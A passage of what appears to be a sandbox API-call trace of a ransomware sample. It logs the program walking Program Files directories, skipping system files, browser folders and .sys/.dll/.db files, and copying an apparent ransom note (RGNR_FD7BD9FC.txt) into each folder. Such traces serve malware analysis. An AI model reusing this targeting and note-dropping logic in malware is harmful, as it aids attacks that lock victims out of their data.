lpString2=".sys") returned -1 [0078.546] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.546] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0078.546] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0078.546] lstrcpyW (in: lpString1=0x1eab68, lpString2="MSTTSLoc.dll" | out: lpString1="MSTTSLoc.dll") returned="MSTTSLoc.dll" [0078.546] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSLoc.dll") returned=".dll" [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="autorun.inf") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="boot.ini") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="bootfont.bin") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="bootsect.bak") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="bootmgr") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="bootmgr.efi") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="bootmgfw.efi") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="desktop.ini") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="iconcache.db") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="ntldr") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="ntuser.dat") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="ntuser.dat.log") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="ntuser.ini") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="thumbs.db") returned -1 [0078.546] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.546] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.546] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.547] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0078.547] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0078.547] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.547] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3d [0078.547] lstrcpyW (in: lpString1=0x1eb634, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.547] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.547] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0078.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0078.547] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.547] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.547] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.547] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.547] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.547] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.547] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.547] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810ce800, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x33 [0078.548] lstrcpyW (in: lpString1=0x1ec0f8, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.548] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.548] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.548] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x810ce800, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x810ce800, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.548] FindClose (in: hFindFile=0x5a12e8 | out: hFindFile=0x5a12e8) returned 1 [0078.548] FindNextFileW (in: hFindFile=0x5a12a8, lpFindFileData=0x1ecd78 | out: lpFindFileData=0x1ecd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2=".") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="..") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Windows") returned -1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Windows.old") returned -1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Tor browser") returned -1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Internet Explorer") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Google") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Opera") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Opera Software") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Mozilla") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="Mozilla Firefox") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="$Recycle.Bin") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="ProgramData") returned 1 [0078.548] lstrcmpiW (lpString1="System", lpString2="All Users") returned 1 [0078.548] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*.*", nBufferLength=0x104, lpBuffer=0x1ecb70, lpFilePart=0x1ed01c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\*.*", lpFilePart=0x1ed01c*="*.*") returned 0x25 [0078.548] lstrcpyW (in: lpString1=0x1ecbb4, lpString2="System" | out: lpString1="System") returned="System" [0078.548] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\" [0078.548] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\" [0078.548] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\RGNR_FD7BD9FC.txt" [0078.548] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.552] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*" [0078.552] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.553] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.553] lstrcpyW (in: lpString1=0x1ebcd6, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810f4960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0078.553] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.553] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x810f4960, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x810f4960, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.553] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.553] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.553] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0078.553] lstrcmpiW (lpString1="ado", lpString2=".") returned 1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="..") returned 1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Windows") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Windows.old") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Tor browser") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Internet Explorer") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Google") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Opera") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Opera Software") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Mozilla") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="Mozilla Firefox") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="$Recycle.Bin") returned 1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="ProgramData") returned -1 [0078.553] lstrcmpiW (lpString1="ado", lpString2="All Users") returned -1 [0078.553] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x2c [0078.553] lstrcpyW (in: lpString1=0x1ec0ea, lpString2="ado" | out: lpString1="ado") returned="ado" [0078.553] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\" [0078.553] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\" [0078.553] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\RGNR_FD7BD9FC.txt" [0078.553] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\system\\ado\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.557] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*" [0078.557] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.557] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.557] lstrcpyW (in: lpString1=0x1eb206, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.557] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.557] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8111aac0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8111aac0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.557] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.557] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.557] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0078.557] lstrcmpiW (lpString1="adojavas.inc", lpString2=".") returned 1 [0078.557] lstrcmpiW (lpString1="adojavas.inc", lpString2="..") returned 1 [0078.557] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0078.557] lstrcmpiW (lpString1="adovbs.inc", lpString2=".") returned 1 [0078.557] lstrcmpiW (lpString1="adovbs.inc", lpString2="..") returned 1 [0078.557] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.557] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.558] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.558] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x30 [0078.558] lstrcpyW (in: lpString1=0x1eb61a, lpString2="en-US" | out: lpString1="en-US") returned="en-US" 